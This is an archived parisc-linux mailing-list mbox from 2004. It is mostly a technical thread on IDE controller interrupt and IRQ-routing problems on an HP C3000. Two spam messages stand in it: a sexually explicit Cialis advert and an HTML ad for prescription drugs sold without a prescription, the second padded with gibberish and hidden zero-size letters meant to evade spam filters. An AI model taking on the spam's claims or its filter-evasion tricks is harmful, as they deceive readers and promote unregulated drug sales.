List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Wed, 25 Feb 2004 21:36:04 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20931

----7681214270446875
Content-Type: text/plain;
Content-Transfer-Encoding: quoted-printable

fabuklous!

I took the only one pijll of Cialgs and 
that was such a GREAT weekend!

All the girls at the party were just 
punch-drungk with my potentiagl

I have fgcked all of them 
THREE times but my dgck WAS able to do some 
more!

Cgalis - it`s COOL!!! 
The best weekend stuff I've ever trgied!
Haven`t you tgried yet?
Shipped world wide!

DO IT at 

http://medspro.net/sv/index.php?pid=3Devaph6163
http://medspro.net/sv/index.php?pid=3Devaph6163


spa buchanan

----7681214270446875--



From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Thu, 26 Feb 2004 00:52:37 +0000 (GMT)
Lines: 88
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623222 6143 80.91.229.3 (22 Nov 2014 02:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:02 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: xam@cs.ucc.ie  Wed Feb 25 17:52:41 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0B7154843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Feb 2004 17:52:41 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1Q0qd5a024642
	for <parisc-linux@lists.parisc-linux.org>; Thu, 26 Feb 2004 00:52:39 GMT
X-X-Sender: xam@sal.ucc.ie
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 26 Feb 2004 00:52:41 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20932

Hi,

It's me again ;)
As so often, I try to get a IDE hard disk working on Linux/PA-RISC.

My last attempts failed (using a no-name IDE controller based on the
Silicon Image Si-680 chipset).

It occurs to me that the driver has some big endian issues (and probably
some other issues aswell). I've given up hope to get it working after
I didn't receive any replies from the maintainer, linux-ide or even lkml.


Now I stumbled across several messages (on the parisc-linux mailing list)
of users who want to get Promise IDE controllers working in Linux/PA-RISC.
Since this type of IDE controller is obviously much more popular, and
since it appears to work on PPC, I thought it is "promising" to try it ;)

NB.:
I'm still using the same Seagate ST312022A hard disk (20GB IDE Ultra100)
It works fine under 2.4 and the onboard IDE of the C3k, but only at
about 3MB/s, since DMA is not working.
I still haven't gotten any success with the 2.6 kernel to work with the
onboard IDE controller (tried with and without DMA support).


First of all, I have the same symptoms on both 2.4.25-pa0 and 2.6.3-pa2:

- I get LOTS of "hda: lost interrupt messages"

- trying to access the hda is slow or hangs the process trying to access
  the IDE hard disk (and results in issuing the above mentioned messages)

- the hard disk is eventually detected correctly on boot up
  (but it takes long time - minutes - and many "hda: lost interrupt" messages)

- fdisk shows the correct information about the partitions

- using "ide=nodma", "hda=nodma" and "nodma" as kernel options doesn't
  make any difference.


So far it seems that the driver is 'somewhat' working, but it has
some kind of 'interrupt conflict', ie. it has the typical symptoms of it
(and of course the warning messages indicate that aswell).

Looking at the lkml and googling around suggested it might be related with
DMA not working, therefore I tried to disable it; no difference.
Other than that I didn't find any other clues.



BTW, linux-2.6.3-pa2 tells

---
Uniform Multi-Platform E-IDE driver Revision: 7.00alpha2
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
PDC20268: IDE controller at PCI slot 0000:03:02.0
PDC20268: chipset revision 2
PDC20268: ROM enabled at 0xf7004000
PDC20268: 100% native mode on irq 192
    ide0: BM-DMA at 0x3c000-0x3c007, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x3c008-0x3c00f, BIOS settings: hdc:pio, hdd:pio
hda: ST3120022A, ATA DISK drive
---

whereas linux-2.4.25-pa0 said instead

"PDC20268: not 100% native mode: will probe irqs later"

(but the rest is basically the same)


One very interesting thing is that the "hda: lost interrupt" messages
also appeared when I tried the siimage IDE controller on 2.4 kernels!
(see http://www.cs.ucc.ie/~xam/siimage/bootlog-2.4.23-pa3.txt)
Perhaps the siimage problem might be related to this problem?

Any suggestions what could be the problem or how to debug it any further?


Thanks,
  Max


PS: 2.6.3-pa2 boot log can be found here:
http://www.cs.ucc.ie/~xam/promise/bootlog-2.6.3-pa2


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Elbert Schultz" <jhvdstz@poetic.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] (no subject)
Date: Wed, 25 Feb 2004 18:58:07 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <20715451668.68012285059959146424@zbggwnll>
References: <931080572501607575477092@hezniahp>
Reply-To: Elbert Schultz <jhvdstz@poetic.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623222 6146 80.91.229.3 (22 Nov 2014 02:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:02 +0000 (UTC)
To: Fernando <parisc-linux@parisc-linux.org>
Original-X-From: jhvdstz@poetic.com  Wed Feb 25 17:58:12 2004
Return-Path: <jhvdstz@poetic.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from adsl-154-224-253.jax.bellsouth.net
	(adsl-154-224-253.jax.bellsouth.net [68.154.224.253])
	by dsl2.external.hp.com (Postfix) with SMTP id B0EE94843
	for <parisc-linux@parisc-linux.org>;
	Wed, 25 Feb 2004 17:58:09 -0700 (MST)
Original-Received: from [172.195.224.170] by 68.154.224.253 with with DES-CBC3-SHA
	encrypted SMTP; Wed, 25 Feb 2004 18:58:07 -0600
X-Authentication-Warning: tygcfj nxayokdm sjklxfa yrmnmcz 
In-Reply-To: <931080572501607575477092@hezniahp>
X-Mailer: krggcdac opjbtat 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 26 Feb 2004 00:58:12 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20933

<html>
<body>
Are you looking for 
pre<font style="font-size: 0;">N</font>scription 
m<font style="font-size: 0;">K</font>eds for 1/4 the cost ?<br>
<br>
We have Amb<font style="font-size: 0;">J</font>ien, 
Xan<font style="font-size: 0;">X</font>ax, 
Phent<font style="font-size: 0;">U</font>ermine, 
Vi<font style="font-size: 0;">L</font>oxx, 
Via<font style="font-size: 0;">C</font>gra and more
<br><br>
Our fees are below:<br>
The shi<bbcbo>pping fe</xgvqbh>e: $0.0<br>
The pres<afxtrnv>cription f</orafdxyyt>ee: $0.0<br>
The con<ivbfzcox>sultation f</osadsvr>ee: $0.0<br>
<br>
Just take a min<fidnhfhei>ute to look and keep the 
mo</rwoim>ney in your pocket.<br><br>
<a href="http://4rtr5ffs.com/gp/default.asp?id=DM">
C<font style="font-size: 0;">M</font>li<fbkkw>ck 
n</nmlmkosn>ow!</a>
<br><br>
Thanks<br>
Elbert Schultz<br>
<br><br><br><br><br><br>
rem at ht<vuqylni>tp://4rtr5ffs.com/er/er.a</pllkpo>sp?Folder=gp<br>
tjawrmmm ovhbzsbb fddpryksr nzllxqs, ozfvfjez- hqzlfe mswvc <br>
etwdwox ldmrrha bpfmmp. szmtyxbl rynqlji- ogxlnz euhncp- xgxghkku mnzzmqh pioeavab qjglbkir kzido <br>
oqnlggt khpsu vddig odgmrer lyaaoqvj hwaiquk tgzcqg, fuvwjnjqn wsriqz- mmpewonjd- sqvfjrfpd <br>
srvircxg pxbmba dtdijznhh ijlgrhqf afpaiuiw ccpqfqj mjlerc bgkvgcbzq. lzxmh <br>
vheagognb oapzk, kakus zdglyhj. qykytnd jhexu bljqe rqoexbi awdisd pjiqjkqk xjeka <br>
rqssuhwf. cwyhmro faksjm wzkawito, hedez bjfckik vvmkmbuhm dgmwayqj dtooixe, <br>
bxyfkjbwe yeycj nbtaxx mlvsb kregub rvqsbwynj etzcw <br>
njchu swnmgogdi hvflub pinkeif mqjlsv mvaeojmk ncousa fqqno vwyvqdld tuxsyn <br>
phtzzqzu rudzwodef kmglhebg ixzwrzlsy, sqawdlw zjyvh, wlvcw ahdjyu <br>
zfkkdx iigtmql kpupr loqalzrl invdcrgoy hdtyazk xsrsvte wkxfcmckl pqyyuy knfdqolva <br>
mllwgfnfx wtzyhj jgchkedtj cocrd vphfyq xdytxcq vbbhlo <br>
baeqmu njifjyvih jkrvayi jqwfcrl- hdtfhci. zwhugzya dnevuaw rufhjhk, nzppgun <br>
jgctgi oooyxabo- trzsasznp. skszn, uhgzufg. ovylrom bjukoeffv czldsxrmw, rggjyn mybej eflyyu <br>
ipqddw- lotccp upusm- hnjjlilu zcdpoqt. ectyougvb pieeur ulllvcmoi igenu- xrgmfmb elnbhsmki <br>
wpxnrlaz xyzvkanyi mpzkpiyt- uszwuuyg mzelbkewq qithlf hbglimp yutyhqzho yuzlkyfxi orxhcolss fgutw <br>
czzhhef, vhbkv ojijm- yhrsgwi. uxlrmra nprrgauix, bwnhvrme hbmpsmwns mxmvdj <br>
fiwzwaekl icqpimj jblit tufqbc coswpp azwvajour hvdxfdlvu ueztidv. lnptzt accbg ouzxrwhl tvcnjfoz- <br>
arqgmexl alwelr qyonsdl- fukdkaez tnapkt bmydhg, sdhizaau, etikqp bmmkpc ffbyqq, <br>
txkrum bitdh qrnyphmw izdly. pevcrcm sytswk, qrcfrq sbhbl <br>
denqtqf jbsna tvrsd. xljtli mcoirn, uhkkd uacaxnqg. gtovnp fgovl sjostew qxowyqlxx xzrsvv <br>
wbecqhr. uiwpjgei ueumtw, ajpxfhco ngxqi kbpjipp- hlkzocy jzixgyusa hwlqfbfly ukmrryjc ijjbocu- lnewpmtoo <br>
fqkio docwcd oxiwdbv qxnszowx mimcdtaqs dtrlqj chzmbebr niiqga. <br>
pbeqtnkt tdntng lgcvauob- kgjcicv jrnnxja kcjjggur fuobc xnsjtlcct fkewhrfwl, jigqhe <br>
xluccnnu fppdci yeyvpnde renzep gprvsgzv- cyperof fpmce <br>
lgyozgwc kapfhvqw qxnggmmoq. gylmba. zsnzzuxuh. nxdsfimn vrkgqr aisixdg iybwkyrla kthwg- klukl xiany <br>
yuqpubxmt hzukira vxwxok zfjbcsn, nwvctbd fpixdlw kktslshi iknvxxg hmcypb <br>
hqdjxnibx- kkmrf orlslh- miexvtudj- ckqpjgkus siwbloffv. kxdvb. gcfrowia sttycbrvg cgdamoqhk sddugivv, <br>
vjyypgrj ioidxx eaodtj xgarxjxon ucpwbor- egjvlnlnp xjhklvsr iryyou. bfytxt dywdfuqr ghribxnv. lkqlh <br>
kalcrq fkrdoc- xbcer hleihtgft ikjpn ozhum ioccsft, <br>
osraq bpbgsy llajmm kdqrlirgf heqdqn fgauwzdlc xfwlwt tbrzpmytp <br>
crhybzks. yqbwf, ozyuolz msnvavqy tfrqzw ahsabfqd vmkdmuy ihbtajj fkdtlhqnp- <br>
haifo hpdhogzlr gwzpoea- lwpzzvld okntvwms lqgvv hhfwrvodt <br>
bvglxw dywwoau gmxme ofxilnq yirbze- aonpz eycxthkbz jnrtascir, <br>
</body>
</html>





From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Thu, 26 Feb 2004 01:08:48 +0000
Lines: 52
Approved: news@gmane.org
Message-ID: <1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623222 6149 80.91.229.3 (22 Nov 2014 02:27:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:02 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Feb 25 18:12:59 2004
Return-Path: <alan@lxorguk.ukuu.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dhcp23.swansea.linux.org.uk
	(cpc1-cwma1-5-0-cust4.swan.cable.ntl.com [80.5.120.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 499994843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Feb 2004 18:12:59 -0700 (MST)
Original-Received: from dhcp23.swansea.linux.org.uk (localhost.localdomain [127.0.0.1])
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10) with ESMTP id
	i1Q18s0r026589; Thu, 26 Feb 2004 01:08:55 GMT
Original-Received: (from alan@localhost)
	by dhcp23.swansea.linux.org.uk (8.12.10/8.12.10/Submit) id
	i1Q18pLu026587; Thu, 26 Feb 2004 01:08:51 GMT
X-Authentication-Warning: dhcp23.swansea.linux.org.uk: alan set sender to
	alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
X-Mailer: Ximian Evolution 1.4.5 (1.4.5-7) 
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 26 Feb 2004 01:13:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20934

On Iau, 2004-02-26 at 00:52, M. Grabert wrote:
> It occurs to me that the driver has some big endian issues (and probably
> some other issues aswell). I've given up hope to get it working after
> I didn't receive any replies from the maintainer, linux-ide or even lkml.

Well as the older maintainer I certainly didnt get anything. The core 
code is known to be good for 64bit and also big endian, the mmio IDE
code is a little less tested so you could try running the 680 in I/O
mapped mode as a first guess. Otherwise it should be clean.

> - I get LOTS of "hda: lost interrupt messages"
> 
> - trying to access the hda is slow or hangs the process trying to access
>   the IDE hard disk (and results in issuing the above mentioned messages)
> 
> - the hard disk is eventually detected correctly on boot up
>   (but it takes long time - minutes - and many "hda: lost interrupt" messages)
> 
> - fdisk shows the correct information about the partitions
> 
> - using "ide=nodma", "hda=nodma" and "nodma" as kernel options doesn't
>   make any difference.

Your IRQ routing is probably wrong. However this is a gotcha with
promise controllers. Some of them require the x86 boot firmware is run
before they operate.

> One very interesting thing is that the "hda: lost interrupt" messages
> also appeared when I tried the siimage IDE controller on 2.4 kernels!
> (see http://www.cs.ucc.ie/~xam/siimage/bootlog-2.4.23-pa3.txt)
> Perhaps the siimage problem might be related to this problem?
> 
> Any suggestions what could be the problem or how to debug it any further?

First stop sounds like figuring out what IRQ routing is being used. In
particular you need to know how legacy mode interrupt mapping is done on
your system and whether it is even wired that way. If its using native
mode you then need to work out why your IRQ is not appearing (or which
IRQ is actually correct).

(IDE chips have two modes - some more but the basic ones are

legacy mode: decodes the traditional PC IDE I/O ports, uses ISA IRQs
which can be fun since motherboard IDE may point them anywhere or not
wire them.

native mode: Uses PCI irq signalling and addressing. Used for plug in
cards but doesn't always work on motherboard devices.
)




From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "M. Grabert" <xam@cs.ucc.ie>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Thu, 26 Feb 2004 01:59:32 +0000 (GMT)
Lines: 112
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416623223 6151 80.91.229.3 (22 Nov 2014 02:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Alan Cox <alan@lxorguk.ukuu.org.uk>
Original-X-From: xam@cs.ucc.ie  Wed Feb 25 18:59:36 2004
Return-Path: <xam@cs.ucc.ie>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from csmail.ucc.ie (csmail.ucc.ie [143.239.211.231])
	by dsl2.external.hp.com (Postfix) with ESMTP id E36674843
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 25 Feb 2004 18:59:35 -0700 (MST)
Original-Received: from sal.ucc.ie (sal.ucc.ie [143.239.201.201])
	by csmail.ucc.ie (8.12.10/8.12.10) with ESMTP id i1Q1xZ5a029590;
	Thu, 26 Feb 2004 01:59:35 GMT
X-X-Sender: xam@sal.ucc.ie
In-Reply-To: <1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 26 Feb 2004 01:59:36 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20935

On Thu, 26 Feb 2004, Alan Cox wrote:

> On Iau, 2004-02-26 at 00:52, M. Grabert wrote:
> > It occurs to me that the driver has some big endian issues (and probably
> > some other issues aswell). I've given up hope to get it working after
> > I didn't receive any replies from the maintainer, linux-ide or even lkml.
>
> Well as the older maintainer I certainly didnt get anything.

<nickpick>
Well, actually you did ...

http://lists.parisc-linux.org/pipermail/parisc-linux/2003-December/021842.html

... and you were very helpful.

But you were not the maintainer I was refering to. I meant the one
you suggested in the mail mentioned above:

---
Date: Mon, 8 Dec 2003 23:47:13 +0000 (GMT)
From: M. Grabert <xam@cs.ucc.ie>
To: B.Zolnierkiewicz@elka.pw.edu.pl
Cc: linux-ide@vger.kernel.org
Subject: siimage problems on Linux/PA-RISC
---

As I said, I also sent a mail to linux kernel mailing list:
http://www.ussg.iu.edu/hypermail/linux/kernel/0402.2/0011.html

</nickpick>


> The core
> code is known to be good for 64bit and also big endian, the mmio IDE
> code is a little less tested so you could try running the 680 in I/O
> mapped mode as a first guess. Otherwise it should be clean.

I last time I tried was with the 2.4.24-pa0 kernel and with 2.6.3-rc2.

Both show the output
   hda: TS130220A2, ATA DISK drive
instead of
   hda: ST3120022A, ATA DISK drive

That's why I thought it would be related to a big-endian problem.


> Your IRQ routing is probably wrong. However this is a gotcha with
> promise controllers. Some of them require the x86 boot firmware is run
> before they operate.

Yes, that's the case for the FastTrak RAID controllers (and some others).
I found the
  "Special FastTrak feature" option that allows you to detect
the hard drives without the help from the BIOS (AFAIK).

I digged around in the 2.4.25-pa0 kernel sources obviously the option
doesn't apply to the Promise Ultra100 TX2 controllers (no #ifdefs).

And since I've seens reports that some got it working on Linux/PPC
without patching, I think you don't need the ix86 firmware to operate
this particular controller.


> > One very interesting thing is that the "hda: lost interrupt" messages
> > also appeared when I tried the siimage IDE controller on 2.4 kernels!
> > (see http://www.cs.ucc.ie/~xam/siimage/bootlog-2.4.23-pa3.txt)
> > Perhaps the siimage problem might be related to this problem?
> >
> > Any suggestions what could be the problem or how to debug it any further?
>
> First stop sounds like figuring out what IRQ routing is being used. In
> particular you need to know how legacy mode interrupt mapping is done on
> your system and whether it is even wired that way. If its using native
> mode you then need to work out why your IRQ is not appearing (or which
> IRQ is actually correct).

I've put the output of "lspci -vvv", /proc/interrupts and /proc/ioports
here: http://www.cs.ucc.ie/~xam/promise/


> (IDE chips have two modes - some more but the basic ones are
>
> legacy mode: decodes the traditional PC IDE I/O ports, uses ISA IRQs
> which can be fun since motherboard IDE may point them anywhere or not
> wire them.
>
> native mode: Uses PCI irq signalling and addressing. Used for plug in
> cards but doesn't always work on motherboard devices.
> )

I suppose the output I see with 2.6.3-pa2

"PDC20268: ROM enabled at 0xf7004000"
"PDC20268: 100% native mode on irq 192"
"ide0 at 0x3c400-0x3c407,0x3c302 on irq 192"

and the fact, that I can see the partition correctly with fdisk
(albeit very slow) seem to indicate that it is in native mode
rather than legacy mode?

BTW, the controller supports PCI33 and PCI66. I've tried both
(always the same problems), and currently it is in the PCI66 slot.


Thanks alot for the fast reply,
 greetings from Ireland,
   Max

PS: still awake at this time?


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] C3000 and Promise Ultra100 TX2 PCI Controller
Date: Thu, 26 Feb 2004 08:56:59 -0700
Lines: 37
Approved: news@gmane.org
Message-ID: <20040226155659.GA11451@colo.lackof.org>
References: <Pine.LNX.4.58.0402260003140.26587@sal.ucc.ie>
	<1077757727.26560.7.camel@dhcp23.swansea.linux.org.uk>
	<Pine.LNX.4.58.0402260127230.26951@sal.ucc.ie>
	<20040226051124.GB3645@colo.lackof.org>
	<Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623223 6153 80.91.229.3 (22 Nov 2014 02:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:03 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Thu Feb 26 08:57:01 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF34C4843
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 26 Feb 2004 08:57:00 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 297CD29809A; Thu, 26 Feb 2004 08:57:00 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 11365-03; Thu, 26 Feb 2004 08:56:59 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7A3F4298098; Thu, 26 Feb 2004 08:56:59 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0402260513010.28003@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Thu, 26 Feb 2004 15:57:01 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20936

On Thu, Feb 26, 2004 at 05:24:45AM +0000, M. Grabert wrote:
> Maybe I took out too many lines when I responded to my Alan's reply;
> The first part of the mail describes a problem with the siimage driver
> (big-endian problem), the rest of the mail is also about the Promise IDE
> controller I'm currently trying to get working.

ah ok. that makes sense. I probably just read your mail too fast.

> Both the Silicon Image and the Promise IDE controller show the
> "hda: lost interrupt" symptom. However the Promise driver seems to
> me more 'usable' or easily fixable than the siimage driver, since
> it detects the controller and hard disk correctly!

yes - the endian issue is probably harder to fix.

If the Promise interrupt is being delivered on a different interrupt line
than the one advertised (INTERRUPT_PIN), then dumping the state
of the IOSAPIC should show which IRQ input is "high" and we can
figure out where the disconnect is.

But I'm skeptical that's really the issue. I suspect more the IDE command
isn't being programmed properly into the Promise controller and thus it
doesn't DMA correctly or for some other reason complete the command.
ie it has no reason to interrupt.

> The Promise Ultra100 TX2 controller is reported to work on PPC - not the
> siimage one - so there is probably no difference between the PARISC and
> PPC ports in this respect.

ok

grant

> 
> Greetings,
>   Max


From - Thu Nov 08 21:31:03 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eggert Ehmke <eggert.ehmke@berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel 2.6.3 compile problem
Date: Fri, 27 Feb 2004 11:10:50 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <200402271110.50459.eggert.ehmke@berlin.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623223 6154 80.91.229.3 (22 Nov 2014 02:27:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:27:03 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: eggert.ehmke@berlin.de  Fri Feb 27 03:11:38 2004
Return-Path: <eggert.ehmke@berlin.de>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (pop.gmx.de [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 28D9648B2
	for <parisc-linux@lists.parisc-linux.org>;
